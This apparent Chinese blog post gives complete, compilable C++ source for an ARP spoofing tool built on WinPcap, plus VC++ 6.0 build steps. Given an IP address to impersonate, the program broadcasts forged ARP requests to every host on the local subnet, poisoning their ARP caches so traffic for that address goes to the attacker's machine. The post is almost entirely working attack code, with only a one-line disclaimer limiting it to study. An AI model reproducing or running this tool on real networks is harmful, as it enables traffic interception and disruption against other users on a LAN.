现在的位置: 首页 > 综合 > 正文

ARP欺骗源码(基于WinPcap实现)

2013年10月14日 ⁄ 综合 ⁄ 共 6647字 ⁄ 字号 评论关闭

ARP欺骗源码(基于WinPcap实现)   佟强  2008.10.8

 

  1. //ArpCheat.h
  2. #ifndef MY_ARP_CHEAT_INCLUDE_H
  3. #define MY_ARP_CHEAT_INCLUDE_H
  4. //字节对齐必须是1
  5. #pragma pack (1)
  6. struct ethernet_head
  7. {
  8.  unsigned char dest_mac[6];  //目标主机MAC地址
  9.  unsigned char source_mac[6]; //源端MAC地址
  10.  unsigned short eh_type;   //以太网类型
  11. };
  12. struct arp_head
  13. {
  14.  unsigned short hardware_type; //硬件类型:以太网接口类型为1
  15.  unsigned short protocol_type; //协议类型:IP协议类型为0X0800
  16.  unsigned char add_len;   //硬件地址长度:MAC地址长度为6B
  17.  unsigned char pro_len;   //协议地址长度:IP地址长度为4B
  18.  unsigned short option;   //操作:ARP请求为1,ARP应答为2
  19.  unsigned char sour_addr[6];  //源MAC地址:发送方的MAC地址
  20.  unsigned long sour_ip;   //源IP地址:发送方的IP地址
  21.  unsigned char dest_addr[6];  //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址
  22.  unsigned long dest_ip;   //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址
  23.  unsigned char padding[18];
  24. };
  25. struct arp_packet     //最终arp包结构
  26. {
  27.  ethernet_head eth;    //以太网头部
  28.  arp_head arp;     //arp数据包头部
  29. };
  30. #pragma pack ()
  31. /**
  32. * 获得网卡的MAC地址
  33. * pDevName 网卡的设备名称
  34. */
  35. unsigned char* GetSelfMac(char* pDevName);
  36. /**
  37. * 封装ARP请求包
  38. * source_mac 源MAC地址
  39. * srcIP 源IP
  40. * destIP 目的IP
  41. */
  42. unsigned char* BuildArpPacket(unsigned char* source_mac, 
  43.                        unsigned long srcIP, unsigned long destIP);
  44. #endif
  45. //ArpCheat.cpp
  46. #include <stdio.h>
  47. #include <pcap.h>
  48. #include <conio.h>
  49. #include <packet32.h>
  50. #include <ntddndis.h>
  51. #include "ArpCheat.h"
  52. int main(int argc,char* argv[]){
  53.  pcap_if_t *alldevs;              //全部网卡列表
  54.  pcap_if_t *d;                    //一个网卡
  55.  int inum;                        //用户选择的网卡序号
  56.  int i=0;                         //循环变量
  57.  pcap_t *adhandle;                //一个pcap实例
  58.  char errbuf[PCAP_ERRBUF_SIZE];   //错误缓冲区
  59.  unsigned char *mac;              //本机MAC地址
  60.  unsigned char *packet;           //ARP包
  61.  unsigned long fakeIp;            //要伪装成的IP地址
  62.  pcap_addr_t *pAddr;               //网卡地址
  63.  unsigned long ip;                //IP地址
  64.  unsigned long netmask;           //子网掩码
  65.  if(argc!=2){
  66.   printf("Usage: %s inet_addr/n",argv[0]);
  67.   return -1;
  68.  }
  69.  //从参数列表获得要伪装的IP地址
  70.  fakeIp = inet_addr(argv[1]);
  71.  if(INADDR_NONE==fakeIp){
  72.   fprintf(stderr,"Invalid IP: %s/n",argv[1]);
  73.   return -1;
  74.  }
  75.     
  76.     /* 获得本机网卡列表 */
  77.     if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
  78.     {
  79.         fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf);
  80.         exit(1);
  81.     }
  82.     
  83.     /* 打印网卡列表 */
  84.     for(d=alldevs; d; d=d->next)
  85.     {
  86.         printf("%d", ++i);
  87.         if (d->description)
  88.             printf(". %s/n", d->description);
  89.         else
  90.             printf(". No description available/n");
  91.     }
  92.     //如果没有发现网卡
  93.     if(i==0)
  94.     {
  95.         printf("/nNo interfaces found! Make sure WinPcap is installed./n");
  96.         return -1;
  97.     }
  98.     //请用户选择一个网卡
  99.     printf("Enter the interface number (1-%d):",i);
  100.     scanf("%d", &inum);
  101.     
  102.    //如果用户选择的网卡序号超出有效范围,则退出
  103.     if(inum < 1 || inum > i)
  104.     {
  105.         printf("/nInterface number out of range./n");
  106.         /* Free the device list */
  107.         pcap_freealldevs(alldevs);
  108.         return -1;
  109.     }
  110.     
  111.     /* 移动指针到用户选择的网卡 */
  112.     for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
  113.     
  114.     mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://"
  115.     printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s/n",
  116.            mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);
  117.  /* 打开网卡 */
  118.     if ( (adhandle= pcap_open(d->name,          // name of the device
  119.                               65536,            // portion of the packet to capture
  120.                               0,                //open flag
  121.                               1000,             // read timeout
  122.                               NULL,             // authentication on the remote machine
  123.                               errbuf            // error buffer
  124.                               ) ) == NULL)
  125.     {
  126.         fprintf(stderr,"/nUnable to open the adapter. %s is not supported by WinPcap/n",
  127.                  d->name);
  128.         /* Free the device list */
  129.         pcap_freealldevs(alldevs);
  130.         return -1;
  131.     }
  132.  for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){
  133.   //得到用户选择的网卡的一个IP地址
  134.   ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;
  135.   //得到该IP地址对应的子网掩码
  136.   netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;
  137.   if (!ip || !netmask){
  138.    continue;
  139.   }
  140.   //看看这个IP和要伪装的IP是否在同一个子网
  141.   if((ip&netmask)!=(fakeIp&netmask)){
  142.    continue//如果不在一个子网,继续遍历地址列表
  143.   }
  144.   unsigned long netsize = ntohl(~netmask); //网络中主机数
  145.   unsigned long net = ip & netmask; //子网地址
  146.   for(unsigned long n=1; n<netsize; n++){
  147.    //第i台主机的IP地址,网络字节顺序
  148.    unsigned long destIp = net | htonl(n);
  149.    //构建假的ARP请求包,达到本机伪装成给定的IP地址的目的
  150.    packet = BuildArpPacket(mac,fakeIp,destIp);
  151.    if(pcap_sendpacket(adhandle, packet, 60)==-1){
  152.      fprintf(stderr,"pcap_sendpacket error./n");
  153.    }
  154.   }
  155.  }
  156.  return 0;
  157. }
  158. /**
  159. * 获得网卡的MAC地址
  160. * pDevName 网卡的设备名称
  161. */
  162. unsigned char* GetSelfMac(char* pDevName){
  163.  static u_char mac[6];
  164.  memset(mac,0,sizeof(mac));
  165.  LPADAPTER lpAdapter =   PacketOpenAdapter(pDevName);
  166.  if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
  167.  {
  168.   return NULL;
  169.  }
  170.  PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));
  171.  if (OidData == NULL) 
  172.  {
  173.   PacketCloseAdapter(lpAdapter);
  174.   return NULL;
  175.  }
  176.  // 
  177.  // Retrieve the adapter MAC querying the NIC driver
  178.  //
  179.  OidData->Oid = OID_802_3_CURRENT_ADDRESS;
  180.  OidData->Length = 6;
  181.  memset(OidData->Data, 0, 6);
  182.  BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);
  183.  if(Status)
  184.  {
  185.   memcpy(mac,(u_char*)(OidData->Data),6);
  186.  }
  187.  free(OidData);
  188.  PacketCloseAdapter(lpAdapter);
  189.  return mac;
  190. }
  191. /**
  192. * 封装ARP请求包
  193. * source_mac 源MAC地址
  194. * srcIP 源IP
  195. * destIP 目的IP
  196. */
  197. unsigned char* BuildArpPacket(unsigned char* source_mac, 
  198.                       unsigned long srcIP,unsigned long destIP)
  199. {
  200.  static struct arp_packet packet;
  201.  //目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF
  202.  memset(packet.eth.dest_mac,0xFF,6); 
  203.  //源MAC地址
  204.  memcpy(packet.eth.source_mac,source_mac,6);
  205.  //上层协议为ARP协议,0x0806
  206.  packet.eth.eh_type = htons(0x0806);
  207.  //硬件类型,Ethernet是0x0001
  208.  packet.arp.hardware_type = htons(0x0001);
  209.  //上层协议类型,IP为0x0800
  210.  packet.arp.protocol_type = htons(0x0800);
  211.  //硬件地址长度:MAC地址长度为0x06
  212.  packet.arp.add_len = 0x06;
  213.  //协议地址长度:IP地址长度为0x04
  214.  packet.arp.pro_len = 0x04;
  215.  //操作:ARP请求为1
  216.  packet.arp.option = htons(0x0001);
  217.  //源MAC地址
  218.  memcpy(packet.arp.sour_addr,source_mac,6);
  219.  //源IP地址
  220.  packet.arp.sour_ip = srcIP;
  221.  //目的MAC地址,填充0
  222.  memset(packet.arp.dest_addr,0,6);
  223.  //目的IP地址
  224.  packet.arp.dest_ip = destIP;
  225.  //填充数据,18B
  226.  memset(packet.arp.padding,0,18);
  227.  return (unsigned char*)&packet;
  228. }

VC++ 6.0 中使用WinPcap

  1. 下载并安装WinPcap,安装之后在目录”C:/WINDOWS/system32“下WinPcap添加了Packet.dll、wpcap.dll。
  2. 增加WinPcap的include和lib路径:
    Tools→Options→Directories,其中include文件的路径增加WinPcap的include路径(其中有pcap.h等头文件),library文件的路径增加WinPcap的lib路径(其中有Packet.lib和wpcap.lib)。
  3. 增加项目的静态链接库:
    Project→Settings→Link→Object/library Modules,在文本框的末尾添加”wpcap.lib packet.lib ws2_32.lib“。
  4. 增加预编译信息:
    Project→Settings→C/C++→Preprocessor definitions,在文本框的末尾添加”WPCAP,HAVE_REMOTE“。

     仅供交流学习之用,请勿在真实网络环境中使用。

抱歉!评论已关闭.